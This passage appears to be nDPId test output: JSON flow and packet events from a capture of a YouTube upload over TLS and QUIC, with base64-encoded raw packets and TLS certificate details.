+00794{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1511102576835,"flow_last_seen":1511102576919,"flow_tot_l4_data_len":1776,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":296,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":57452,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTubeUpload","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.2","client_requested_server_name":"upload.youtube.com","ja3":"bc6c386f480ee97b9d9e52d472b772d8","ja3s":"b26c652e0a402a24b5ca2a660e84f9d5","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02348{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":920774,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"2MuK4S0uXEl5dU5qCABFAAW+Zz4AADkGjfCs2RdvwKgCGwG74GxxoujVVgMQFVAQAKxzYQAA1nkCBQEwCAYGZ4EMAQICMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcmwwDQYJKoZIhvcNAQELBQADggEBAE0QItX4\/TGhNclqSbMZJIS57bdcjSA6FVTNW7rUTNv8U3Ruc2Z1Y1jMBUm\/1YgepWp1uCFUZB2+NzI\/lj3NQH06S21u2Knbuxg15YbP08FGtl5SrMJt2jSeYCUUJt5VouTgZAVK+K+2ByywQeJ+0gb4+82xn1hcRHo\/jNIcOqXXYhQaWczoIPvkM4xtbudZtXCZsJdGJu+kgkDfRPT6\/XHK13btG9oCZKhlPg4NwMyonSCfBAdZ2NbHULYTzSdcyoN0D3NPr7Q4noSY3aTvbPIB+TjHLmV8vyl07QNKnI3bJYAop497SVcuC3WKZDJgLHS2cYVwQP+iNoPK8HoVV58ABCwwggQoMIIDEKADAgECAhABACEliLD6Wad37wV7ZiffMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTcwNTIyMTEzMjM3WhcNMTgxMjMxMjM1OTU5WjBJMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzElMCMGA1UEAxMcR29vZ2xlIEludGVybmV0IEF1dGhvcml0eSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJwqBHdc2FCROgajguDYUEi8iT\/xGXAaiEZ+4I\/F8YnOIe5a\/mENtzJEiaB0C1NPVaTOgmKV7utZX8bhBYASxF6UP7xbSDj0U\/ck5vuR6RXEz\/RTDfRK\/J9U3n2+oGtvh8DQUB8oMANA2ghzUWx\/\/zo8pzcGjr1LEQTrfSTe5vn8MXH7lNVg8y5Kr0LSy+rEahqyzFPdFUuLH8gZYR\/Nnag+YyuENWllhMgZxUYi+FOVvuOAShDGKuy6lyARxzmZEASg8GF6lSWMTlJ14rbtCMoU\/M4iarNOz0YDl5cDfsCx3nuvRTPPuj5xt970JSXCDTWJnZ37DhF5iR43xa+OcmkCAwEAAaOCAREwggENMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBRK3QYWG7z2aLV29YG2u2IaulqBLzAOBgNVHQ8BAf8EBAMCAQYwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5zeW1jZC5jb20wEgYDVR0TAQH\/BAgwBgEB\/wIBADA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwIQYDVR0gBBowGDAMBgorBgEEAdZ5AgUBMAgGBmeBDAECAjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDQYJKoZIhvcNAQELBQADggEBAMpJ5azXZGR3W75x+s\/0HiPHmmljVF\/rTNYZKCNkZo4cx4eAZF8EiyavmN8KcLy8GT3uezOpf730BdRwuwUmeeqax5i5BxllNMw86T\/FAfpvDH7benBcTP4tAPDKvi2OtKiA+wETiMucP+W7d8o6ZzbzztUnAnJDoL1uAvFHBXE+AVnpEZ4a84QPgKaieDUvtseifxd84YtWru5niFEnMGClYlLDN9U76oUqATiHos9wraR6ycTnysXavCMy8v4Ywnvg3zsv1NAQ5pZM+0S3IWQNuQCUMBImh1iYOQU4D8yCSAwKR2buv7RfxP9wqOF\/i3kruGUyo7m3MekK9fYfMtwAA4EwggN9MIIC5qADAgECAgM="} +02033{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":921788,"pkt_caplen":1250,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1250,"pkt_l4_len":1216,"pkt":"2MuK4S0uXEl5dU5qCABFAATUZz8AADkGjtms2RdvwKgCGwG74Gxxou5rVgMQFVAYAKzzvwAAErvmMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDIwNTIxMDQwMDAwWhcNMTgwODIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjoBbdqfnGk5sRgprDvgOSJKA+eJdbtg\/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+VcT4wt\/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagUvTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo4HwMIHtMB8GA1UdIwQYMBaAFEjmaPkr0rKV10fYIyAQTzOYkJ\/UMB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsLmdlb3RydXN0LmNvbS9jcmxzL3NlY3VyZWNhLmNybDBOBgNVHSAERzBFMEMGBFUdIAAwOzA5BggrBgEFBQcCARYtaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5MA0GCSqGSIb3DQEBBQUAA4GBAHbhEm5OSxYShjAGsoEIz\/AIx8dxfmbuwu3UOx\/\/8PDITtZDOLC5MH0Y0FWDomrLNhGc6Ehmo21\/uBPUR\/6LWlxz\/K7ZGzIZOKuXNBSqltLroxwUCEm2u+WR74M26x1Wb8ravHNjkOR\/ez4iyz0H7V84dJzjA1BOoa+Y7mHyhD8SFgMDASwMAAEoAwAdIKIUteGvAUZrK6ad5Agu9+5fu88xW6FNoIUSPSUxBHRoCAQBAJZH9eki1cX9V6arbiao2uIRX6bZpgIw1XNJPEooI7X4bElGMCanTXwm4mG2IyrhmXHANsOqgfLmCbhZGqoXvMS8toJl6bUUlXpGbtwb\/EFIdOkYV10CWjkj7rEwLTWcpPtuN1yh9wR3UAwD2ei4p3zfiVtRL4B4AMVfmbea43d2gkKiSiDtpGqSR555KqmBgivd4lvIqHiznJ\/8awojnor6ZpA1N6o8N\/02JVVs3DLR4iEn9edfBaa\/QXJgKpMi7yzFJnKiN3CHLyKH7mHsjrODRZyQNmaSp2\/EVcaHLsP3sI6NEcYAELGolMod84h2cEkUTIS6A5R6Z4rtZrZwH\/kWAwMABA4AAAA="} +01317{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":18,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":8,"flow_first_seen":1511102576835,"flow_last_seen":1511102576921,"flow_tot_l4_data_len":4442,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":555,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":57452,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTubeUpload","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.2","client_requested_server_name":"upload.youtube.com","server_names":"upload.video.google.com,*.clients.google.com,*.docs.google.com,*.drive.google.com,*.gdata.youtube.com,*.googleapis.com,*.photos.google.com,*.upload.google.com,*.upload.youtube.com,*.youtube-3rd-party.com,upload.google.com,upload.youtube.com,uploads.stage.gdata.youtube.com","ja3":"bc6c386f480ee97b9d9e52d472b772d8","ja3s":"b26c652e0a402a24b5ca2a660e84f9d5","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=upload.video.google.com","alpn":"h2,http\/1.1","fingerprint":"EE:3E:32:FB:B1:2E:82:EE:DF:FF:C0:1B:27:CD:BF:D8:8A:CB:BD:63"}} +00422{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":921995,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"XEl5dU5q2MuK4S0uCABFAAAoAVFAAIAGcnPAqAIbrNkXb+BsAbtWAxAVcaLua1AQAQJ\/eAAAAAAAAAAA"} +00544{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":923583,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"XEl5dU5q2MuK4S0uCABFAACFAVNAAIAGchTAqAIbrNkXb+BsAbtWAxAVcaLzF1AYAP7AMQAAFgMDACUQAAAhINBmFC9CVCRDMShWiVmltZYHlkKdx6r\/BQu\/gzM2mj1BFAMDAAEBFgMDACgAAAAAAAAAAPv3b8T97N\/vTXDJOkDRmE+V6iJVyBIxDuPqwaENi5Qu"} +00440{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":943134,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"2MuK4S0uXEl5dU5qCABFAAA6AABAADoRuaes2RdvwKgCGwG7ytUAJpjzAAVHa4mi6b+KhN5\/rli\/WzsoX566BxQnJMdg2JLx"} +00801{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":952563,"pkt_caplen":338,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":338,"pkt_l4_len":304,"pkt":"2MuK4S0uXEl5dU5qCABFAAFEZ2AAADkGkkis2RdvwKgCGwG74GxxovMXVgMQclAYAKxMKwAAFgMDAOQEAADgAAGJwADaALdM1L7HluEEK71GqJG1ZtEWWULF6MyXazJFM8cofZemdiW7tual5+wR4k1tQTE\/eZdcf02HjBAAJL9fkA5ZLxDd8m0XWby4l+edaeyuOQ9I7r1KMDOJMV570ChEVAZPUOHvaQqlUOSvjnNCqxVA+PU2xI01WulazfQZqh7gsCfmG2\/1hhcsB1sL3siTFJiDhVqQmzFn9G57\/59tGH3J1x3V2SWFwC8YkFG6Z4b1Hc\/6eELsc10YJHD7CwKwiV2S7W0aowMSFU69o4orIlI1apRA7dWtbrwCBgkUAwMAAQEWAwMAKAAAAAAAAAAAyJespYl5Vmf2i6r6pKYGutPjCBjw884UNR0qxjT2vFY="} +00510{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":952686,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"2MuK4S0uXEl5dU5qCABFAABtZ2EAADkGkx6s2RdvwKgCGwG74GxxovQzVgMQclAYAKzQyAAAFwMDAEAAAAAAAAAAATlWj5CVGXFPji5Z\/ZCAYI4n9adhGiIDyTFwIynjx5LMaNU6V2Oo55AIlKo52qziUTQFLJOQi9\/8"} +00422{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":954116,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"XEl5dU5q2MuK4S0uCABFAAAoAVdAAIAGcm3AqAIbrNkXb+BsAbtWAxBycaL0eFAQAQJ5DgAAAAAAAAAA"} +00421{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":40014,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"2MuK4S0uXEl5dU5qCABFAAAsAABAADoRubWs2RdvwKgCGwG7ytUAGMf1AAfkXV7SBsEETb27C9zMTg=="} +01168{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":40502,"pkt_caplen":611,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":611,"pkt_l4_len":577,"pkt":"2MuK4S0uXEl5dU5qCABFAAJVAABAADoRt4ys2RdvwKgCGwG7ytUCQfvVAAb3C0W+w2dI6GD9DdKTilUcc5L469XODxlzaeQmOnIYegXnLcskdcpTyJ4R8LS30aKYZ2l2Kitomu5vOxeqJ34L8VTnfdi9tZuVuaulRgq0LtRlrQYwXlwFuxKj+suInXdhexP4fVhnP19SNSqZzNb6li7LqN+ZETqI9UmzDOFjgVYqDuFVDjwSvIZHzcvN2sNk+0s06PPBswVnQscEJCmnhK7Vz+UtZxar9fiHJWQMWGxEPBVKcttaO+o791lzycTWKDj8boMlMB3C4aCflOcKfLkexVSiSwraTODJ3\/5s53vQ9hp\/9awxafl26iIU\/+C856G2vepYo89k8shnp2+s0rDZf6JnWqhz5Zl4mE0q35HXgARAGz2VL+zuqJ2++cYwLdYpD2JQlpHkozT8HTbHljdVulXa\/u41t8mpABOFMyhbljzeUgIMVshgJdP+AwF2aozNCMQa0Ff+IBkGiK65kSWlOCjdcg3bfLtuVf+5iuoMlB4EJ8iYcq+j6OcOtOxArmXIhcU8h\/M+Ko6HreA3\/UT0oz8RT2QlwCyt7Dl9Cv4jO7PckuCmmOEE2qLG2hXocmurJ4FmlclFFykx70m8yqo++n8GKxahiO4urNk379MFIRUv77UxcKxSwiKFcWE1jfPJZ5rdQC7I\/buoN6GHPbnUE1UUzogjO07Jq96S8mpfKL2g90035sEtYhACDL84\/0R1n0P12QttamcQMdbIzrZtO+fgSdQeny8QPI+jokRLqjj6SDc="} +00454{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":41048,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"XEl5dU5q2MuK4S0uCABFAABFAVxAAIARckDAqAIbrNkXb8rVAbsAMY0aDJHSvk7nMdgaBzVHIy1XPsH4zhAaJ9HBVxd\/TWKAAK3H+Hr1uFclQR8="} +00447{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":41769,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"XEl5dU5q2MuK4S0uCABFAAA\/AV1AAIARckXAqAIbrNkXb8rVAbsAK5ySDJHSvk7nMdgaCE+YWSRRWbgSjZxuiZCo+CD\/9NTDNB6hYbQ="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1511102578051,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":62232,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02203{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":51971,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"XEl5dU5q2MuK4S0uCABFAAViAV5AAIARbSHAqAIbrNkXb\/MYAbsFTi5hDQjRAddSQpCnUTAzOQGXrkR+sB0UFtwM1LigAQUUQ0hMTxMAAABQQUQAywMAAFNOSQDdAwAAVkVSAOEDAABDQ1MA8QMAAE1TUEP1AwAAVUFJRCQEAABUQ0lEKAQAAFBETUQsBAAAU01ITDAEAABJQ1NMNAQAAENUSU08BAAATk9OUFwEAABNSURTYAQAAFNDTFNkBAAAQ1NDVGQEAABDT1BUaAQAAElSVFRsBAAAQ0ZDV3AEAABTRkNXdAQAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tdXBsb2FkLnlvdXR1YmUuY29tUTAzOQHogWCSkhrofu2AhqIVgpFkAAAAQ2hyb21lLzYyLjAuMzIwMi45NCBXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQAAAAAWDUwOQEAAAAeAAAAdZgRWgAAAAA2Qv7BjobCVSSNm3vqxisDs2cBNiW7yusCpyOOCMJF82QAAAABAAAANVJUT5jAAAAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1511102578051,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":62232,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTubeUpload","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"upload.youtube.com","user_agent":"Chrome\/62.0.3202.94 Windows NT 10.0; Win64; x64"}} +02218{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":108526,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"2MuK4S0uXEl5dU5qCABFAAViAABAADgRtn+s2RdvwKgCGwG78xgFTs8jCAjRAddSQpCnAZLrpBY0DjIhd5jwe0ABH5UBAQD\/\/\/\/1BgCAAVJFSgAIAAAAU1RLADgAAABTTk8AbAAAAFBST0a0AAAAU0NGR1MBAABSUkVKVwEAAFNUVExfAQAAQ1NDVFECAABDUlT\/XwkAAOdd9OCaMJjZHEuQSnBheExXijy9L8yxcLxijUGUgt7VeQLmXHCE0dSCjTwUu4DOXBlw0HTG62CtZtu2a6Ru1X+sH1IA2FJqDRpGVA5MHyMKc7vKtJZUWy6Wq\/FvJH3N94ZirXYSBfeq9Qo8ATBGAiEAppVGAzltTsobgX744i5bBeIqIDO\/YtwFhdblUPMaf9ECIQDgN5eoKUWZEY4A\/yjD3jA5j4ZdDcRSfqhMU1oZUTGdIVNDRkcIAAAAQUVBRAgAAABTQ0lEGAAAAFBETUQcAAAAVEJLUCAAAABQVUJTQwAAAEtFWFNHAAAAT0JJVE8AAABFWFBZVwAAAEFFU0dDQzIw9lqyAICUa+kwugeWBsbKvkNISURUQjEwIAAAhphHmLi5BO0Bd0EZ92vmXccblzalgzbYj90Qfoq9ozBDMjU1MDAwMDAwMDBAFRRaAAAAAAwAAADNfAIAAAAAAADwAHUApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFfeBYhgQAABAMARjBEAiBdvW4RdrxYmmjeJbc+3jgs5l6RJLipl3aPIQhj9TtUVgIgA9hjkGDtPgI+WyeFtwtRP0uw9dCVeIWw5SDGQbdmUYsAdwDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAV94FiCrAAAEAwBIMEYCIQCUIhZCh2zhmqj0uNpoeUCnAI4TO75j9mv1oMYRKX9EbwIhAIVqH7drJ4DDuKcAhaeeCXOoj8EoQkKnHGLbzkyKPDlhAQEDAeiBYJKSGugAAAAAALsLAAB4u4FGwB+tWGtQE1cUJpBXY6I8VdDyFNEgYZOQAr7wiYpWBawlaIsJ2cBCSCJJwEgVWK3A4KNOsVAVxfdjqlClUhXRURAFClYRHasEpKBgRdBILVjtzS6ETSYz9oczmdmc777Onnvu9527WTQrwFy0TRBKTcQLKrp9dm9xz+ylJ4l0NALQ0SJTNhpMGAZIGIUiTgYb8pXrDXnhuTHeCAI35bB6mBzcF\/AwMggEG8\/l8gN4AQK8oOLyArh8PlZQSS0uRWcy5oK8kSqS5YhoKCFpTNbnCo1cbciulQicavSLSfTLCXLA\/GIy2SCmBhjbXCGAaeAd62cA1adjf2xINJs5VuSOLXMcnO6g0xtjxu1zfIrK71z\/\/lBHSmjev8J8r4IzjW36x8zZNOc0+uStj3j5jQFTCvdXObyJDvLf4usWsNFD234IpYyDUMoYbF1AYEyIMUxgprRFy4BQm1YDYkdGbe4DoxE1cRNlsTkiuSRZgUgwczQwlUpYHofIYWI3ezYnVqbQSIiYI5sjEQfx+cECvhGWo1QwPWhGR4JnLMjJFDVvaGa8k59ILpJp1UisCsNHDLsjIhoybIah1TiI3NROUJramkR0FPHFOKJkc0BjBojNewCvTYGkdWaA2nxIipzgswQmGLCKYEiTCUa8hmAgaoIhlxEMpYmhNmwBbogkgDbw4BmdwRG5YU9wALQmwaAKwbrZDaEpiARWYJAhC1RqQKaxhmEsggUaGWzDvnEJ\/3lDO54Eq5NBL2JvMBWod+IRjNRQW4MlI+YJ2HmtQqPWiGE\/uSJWoUhEjKk3iJt1gyUaXPYxnAZwNUeMxRakTVIchroY"} +02233{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102578,"pkt_ts_usec":109522,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"2MuK4S0uXEl5dU5qCABFAAViAABAADgRtn+s2RdvwKgCGwG78xgFTrFpCAjRAddSQpCnArwHRDvEv6bzYWaHzaQBBSEEhrNWhsBytYq44AhiRo+TwCmwTKGEk42JPpys442NKgutZCyRqQAAtRXqaDF9GcRDYiH0Y\/Fi0MLsDELQGJhY4OvQsShgL0wMj6PF4FCw0EDxBIlYDUjOl0D+boN8rExECEHyX7Bo9gIexu6+BD0Z6jwYVS5xhEFjCAVnb9OEZ+1zI6xu60jhXe7FYiEjXGJWdBF1I+wRdfS48r74X1JeZ567KHa5EJ3pD3ngVQyQUTCSgZUFTVprCgmiU6lxmUwgGRCEl12TIR\/Iu8iryOND7yMz0xaswN6jCztbGOmK9M1HAtnb0p6qNH6hov6O7rqWzJfC2lmeHtZeU6WbjsS8u3ntcJQzOr2oWOwTXcLWes24V6eOPFWo8+TNul2fEFLQ78eM1PXs2XQnqjfDqk3auk2v6+r9pEcxm7ylpmzrihbHoOb9i7fucvoKaS0tCfOsbMqMP3nB9ezFL69FLLtTF+p+dsZl1fPc\/DBpqVvY0e9eHrAZ+VA9+k3JGb\/9upojFbdLGEEHzpW4tGy79WmG8IZ+5InTV7teNKN9mWsYUcLOpqcV59uW1kr1OramoTHz1vv11JzRr2tDd4S\/WkfbF2P7ZGza6rI\/j9Us8WXle5QG\/b6jzfNgyphjqo6oKWSDFJMnAQGwxaXYlmTl4Z1d0i88lvqCkib10ZlL8sf48IBpMSTg8YAY8\/iBmBZzeXzwEwQLgqM\/pux\/6Oa0l01OXX1\/+c6p1ENoy\/3lC8tzQnqdlS7ZoRtbdlT15tR7dEe\/E7HKePNyitQjIpd9cbgeFe\/qfiaMud5KybCv\/DovpHzVwiB95N8TOgZ2djpVNugjWfqwt\/tXNG+oKEpUZF25tdxtEmQz6wFdF